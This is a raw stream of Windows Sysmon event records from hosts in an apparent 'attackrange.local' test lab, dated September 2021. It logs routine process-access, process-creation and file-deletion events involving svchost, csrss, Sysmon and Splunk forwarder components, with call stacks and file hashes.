15:05:32.778{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017629Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:32.778{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017628Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:32.778{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017627Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:32.778{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017626Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:32.778{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017625Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:32.778{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017624Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:32.778{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017623Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:32.778{625C326B-67EC-613B-0500-00000000F101}412528C:\Windows\system32\csrss.exe{625C326B-743C-613B-2A05-00000000F101}2280C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000017622Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:32.778{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-743C-613B-2A05-00000000F101}2280C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000017621Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:32.779{625C326B-743C-613B-2A05-00000000F101}2280C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe8.0.2Network monitorSplunk ApplicationSplunk Inc.splunk-netmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=8746B8C1724B67C2B1261446C0CFAA57,SHA256=7EFD09FD383FAA75C5D2990E6DBBFD846AEAA08B7037C7D66B4A0EF2AE0866B3,IMPHASH=7B985F47B35272AD7B5218255ACE7AEC{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000055076Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:32.124{7BD73061-65B2-613B-1100-00000000F001}432NT AUTHORITY\LOCAL SERVICEC:\Windows\System32\svchost.exeC:\Windows\ServiceProfiles\LocalService\AppData\Local\lastalive0.datMD5=9793A5C728BE888F35D64A4A52F4FFCA,SHA256=46906BAB181D78BD8582A7FD1D65FC41595403FAFDA262AFE3C74F50556F4631,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 10341000x800000000000000017620Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:32.279{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-743C-613B-2905-00000000F101}3160C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017619Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:32.279{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017618Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:32.279{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017617Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:32.279{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017616Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:32.279{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017615Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:32.279{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017614Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:32.279{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017613Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:32.279{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017612Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:32.279{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017611Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:32.279{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017610Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:32.279{625C326B-67EC-613B-0500-00000000F101}412528C:\Windows\system32\csrss.exe{625C326B-743C-613B-2905-00000000F101}3160C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000017609Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:32.279{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-743C-613B-2905-00000000F101}3160C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000017608Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:32.279{625C326B-743C-613B-2905-00000000F101}3160C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe10.0.10011.16384SplunkMonNoHandle Control ProgramWindows (R) Win 7 DDK driverWindows (R) Win 7 DDK providerSplunkMonNoHandle.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=BF28C74E12839E40CD89696C7CB01573,SHA256=6187325F302F232DE582FE28E0E0D2B292AB8122C3356C9CE295A482D7B93EA3,IMPHASH=27776F2813155A6CF34F6A075A0C2EC8{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 10341000x800000000000000017651Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:33.888{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-743D-613B-2B05-00000000F101}2784C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017650Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:33.888{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017649Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:33.888{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017648Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 